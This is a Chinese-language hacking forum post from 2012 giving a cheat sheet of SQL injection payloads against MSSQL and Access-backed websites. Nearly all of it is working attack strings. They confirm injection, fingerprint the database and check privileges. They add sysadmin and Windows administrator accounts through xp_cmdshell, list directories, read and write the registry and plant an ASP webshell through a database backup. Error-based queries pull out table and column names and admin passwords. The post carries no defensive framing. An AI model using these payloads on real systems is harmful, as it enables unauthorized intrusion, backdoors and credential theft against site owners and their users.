找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1900|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
5 k2 I9 X" S- c/ D;and 1=1 , R, e% x; A* x' h) C
;and 1=2
" o8 I8 T+ ^4 V" P" G+ Q4 Q2 w% u. }
2.初步判断是否是mssql
; B! m; t) Z) ^8 C8 N7 O5 B;and user>0
  i$ E9 l6 C) Z8 J
% z' T8 P- f9 d  V' }3.判断数据库系统
; Q; J2 M' U3 E% o;and (select count(*) from sysobjects)>0 mssql
8 W* k: Q3 ?. |3 I, D5 Y' ~$ Q;and (select count(*) from msysobjects)>0 access
% ^3 I2 @7 U/ M
/ I: r; a7 m* W# K, s4 R4.注入参数是字符 + j8 Q7 W3 k% C! N" Q% h# \
'and [查询条件] and ''='
3 Q$ T7 m) n) V* q
/ ?" g2 c! O; e1 {) u5.搜索时没过滤参数的
& l  i3 _) Y3 F# v# i9 Z6 W  a* ~'and [查询条件] and '%25'='
9 ?0 S0 L6 }9 _8 q: G* q
, D! }  h. Q4 |8 P: U! W+ p6.猜数表名
6 P& R8 G) `7 a9 ?# |7 G;and (select Count(*) from [表名])>0
5 x: J# B9 m/ d7 n4 @6 B$ d5 ?3 Y1 D6 L: o
7.猜字段
! o% F9 E0 a' Z! w; q/ q( R;and (select Count(字段名) from 表名)>0
4 d$ M+ h; e( r; J
* X% E/ `! }7 h5 y6 P* ?: h8.猜字段中记录长度
0 \1 R4 j. _: q+ @. S/ V;and (select top 1 len(字段名) from 表名)>0
# d3 a+ |$ o' O' h6 F' X! R, m, }8 h5 G4 E( }
9.(1)猜字段的ascii值(access) 9 I5 h1 i! W( D- r  V1 _
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 0 r8 U9 Y3 f/ R( w2 b
* P' ?9 E$ F  Y3 u/ N9 h
(2)猜字段的ascii值(mssql)
$ f7 P- m$ ~8 x;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 * a+ _( P  D# Z+ t+ o' y( R
4 V$ H* P4 C2 s
10.测试权限结构(mssql)
1 t0 A  P7 h1 ?0 a: j1 P+ Y0 V" s;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 0 U* C7 j7 [. B
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
, r9 j0 f" _  H7 q  I4 g# N+ X;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- : p1 t: B  u8 P7 W6 {
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ; b! R$ e! U8 |4 U
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ; l% I0 i. A8 |
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 6 U* B2 W9 {- D7 C
;and 1=(select IS_MEMBER('db_owner'));--
1 p* s* c/ m$ `4 |: a% ^0 p2 X7 I4 _4 X, t7 T) G& E7 X
11.添加mssql和系统的帐户
) X. C8 }) t$ B" z' D7 _9 r" h; };exec master.dbo.sp_addlogin username;--
+ z; S9 j& r' y;exec master.dbo.sp_password null,username,password;-- $ e* P0 F4 H+ A5 p2 h) m8 v$ J
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ) B1 O7 H4 |( s& w* D1 q1 r9 J: n
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
( U& A4 t' X+ w) W" X1 Q;exec master.dbo.xp_cmdshell 'net user username password /add';-- $ i6 m0 m" ^  b; }3 V" q  `
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
+ h  k5 y# O' A8 b
; X* R4 c! v( y' J9 _3 @7 a+ X12.(1)遍历目录
* B( y- O" t1 {: z3 a) l# q' L;create table dirs(paths varchar(100), id int) $ `7 Y8 _, v- i2 S. L  d
;insert dirs exec master.dbo.xp_dirtree 'c:\'
* S5 T9 I0 W  m5 p5 C1 s% h;and (select top 1 paths from dirs)>0
, d  @" _, h  \: S6 y;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
* {; r/ Y8 F4 R) N9 Q) `2 D$ K7 b6 {- @* y5 V* X$ Z( \
(2)遍历目录   n$ O8 F- n% p! ^
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 0 G* A6 e5 i$ K7 C
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
  z; z5 }5 S4 U; [;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ! `7 I0 O0 s. w* \
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 6 {5 K: s* M2 E( B' T# y
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
% K5 y/ p* p& V8 T- l/ {
2 z# x% w& Q+ C. e$ m8 W13.mssql中的存储过程
8 ]0 t6 f  ]$ @5 c/ S5 }* Txp_regenumvalues 注册表根键, 子键 1 A9 U  L8 C; y; a% P! ?2 k
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
- A' f* ?2 t) S' }! C& mxp_regread 根键,子键,键值名 : A: [* {) R$ E9 _' w8 V
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 - l# m0 y* q8 f/ M! X
xp_regwrite 根键,子键, 值名, 值类型, 值 - B* x, H5 e" m& O) B) l5 Z6 S
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 / h% q0 d" w, E& S6 j1 T
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 + }0 V3 L/ p7 n& ]2 q1 X+ g
xp_regdeletevalue 根键,子键,值名 3 X$ U: S1 C( d" x! l6 Y
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 ! r6 J# T8 A8 o2 Z
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 5 K. H) X, U% p- g2 H. |

* `' i/ Y% z3 k. E14.mssql的backup创建webshell
7 c/ U, M) C+ n0 v* L3 a0 yuse model $ y. ^) x% e0 |' U& y: w" V  b1 ]
create table cmd(str image);
" j& W( ~, O9 b9 b2 e/ }insert into cmd(str) values ('<% Dim oScript %>');
: m; Y$ _# @- c1 {backup database model to disk='c:\l.asp'; 0 y$ _5 A/ `( M% s: [# |5 k* z

; y% w4 n$ p8 V- c) c9 s15.mssql内置函数 / D! s0 n* _# k2 w
;and (select @@version)>0 获得Windows的版本号
! R7 m" z' J, o6 g& p* c;and user_name()='dbo' 判断当前系统的连接用户是不是sa ( @# i$ P* P$ L, J
;and (select user_name())>0 爆当前系统的连接用户 8 G' z7 Z4 W% i2 E$ U! G
;and (select db_name())>0 得到当前连接的数据库 ' C/ ~" y& T1 R8 u! q- X3 p
5 e% `# c* }* W6 _1 {! K

  @; o; e9 _( H8 Y/ G" A7 S- x' \0 c7 M& R3 T8 H
MSSQL手注暴库
, A, b+ ?2 N( E2 M9 ^( [
  u2 {& ?$ _0 T  ^7 W1.暴出当前表名和列名4 k0 `2 G. x* F& g1 b% m, l' K0 B& x
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。6 u+ x/ o- |: i; r7 L2 }5 L
/ x5 Y$ d& c3 ^; L6 p
第一.爆出所有数据库名
- A' i7 a  b. P: ]: ~: c2 _利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
2 f9 j% e1 P# M第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。. ^6 f6 ~1 D2 j& y% E
; F( r; e; N* h$ I# \1 @
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
/ \& k1 l: a6 y' l7 G1 ?
7 g7 c2 ^( i6 R, n; d# ~4 a; N9 G; W. Q: o$ B; n% N5 G3 p
第二.爆出指定库中的所有表名
/ f% o& n4 p& a4 c! t& F# P得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。9 h/ L: r* _/ d3 N
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。" @# k2 N2 ]# {' A

: @: N+ O) C. r; B0 @/ band 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
  w, H" {5 P9 B5 s& p/ @3 e4 Mand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--' ], D( N9 }1 o( p- A
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--: ~! T* i/ Y  {

; ]# q- _/ Q& ~; T  K2 }! y2 [2 d3 ^4.爆出指定表中的所有列名
$ M7 c( [: S+ U) D2 ]5 fand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
9 V# S* @$ m# \# f- A+ A+ D1 S//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'' K# y( h0 o5 }* r8 X2 B4 d8 Y

! v7 c# [, E0 [+ I: S+ {and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名  Q. m- |4 D& @2 m$ A  o+ X1 ~( l
3 a$ S0 t/ p# T! K, A) Z/ a9 p
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
: l, A* m1 ~" C+ }! U依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。- v: W) B# A# o/ N

/ P& a# W: z+ d2 {% S, j' C8 Q' J/ c+ R* N
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
! F* \+ `; F# R% {: `, B" K7 k& ?. Q% A. I5 R& Z5 k9 ?
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名* h# `: `9 f6 H% P% O% v
7 u2 h3 k" z1 r
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
- B2 R' E, s3 {) a# `
" f2 F: X7 M" r4 C/ T3 o* M  n4 C1 F; j8 s& a0 X8 J
% x9 i  ^$ {8 O8 b; N7 C+ X
5.读取指定表中的数据
" ~) A: P( T- f4 Q
+ ~% m  b( O8 m; c* P5 l- ^and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 - S4 P, d2 w" K$ _% g
7 K& v& t' h$ d) p# D
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--  n" ^1 \, T; k9 g! N; P1 b" u
6 b3 M! K" X+ G5 c" s
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
. a! M$ a' ]# T2 B1 Y1 B& T4 t3 `0 |4 A% I7 |
  R9 x7 }1 Y/ U$ b$ `
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)9 c% u  R  r/ w

5 I3 W# j6 J. s/ rand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
% P0 L( w6 n0 e
6 q- a: _! A2 ^: J/ n2 Rand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--: o2 h" a% ]1 G) j1 I& \$ d
2 N3 n6 P, f; E% T6 L5 D
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。+ x& D& _5 a- a0 m. r- s2 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表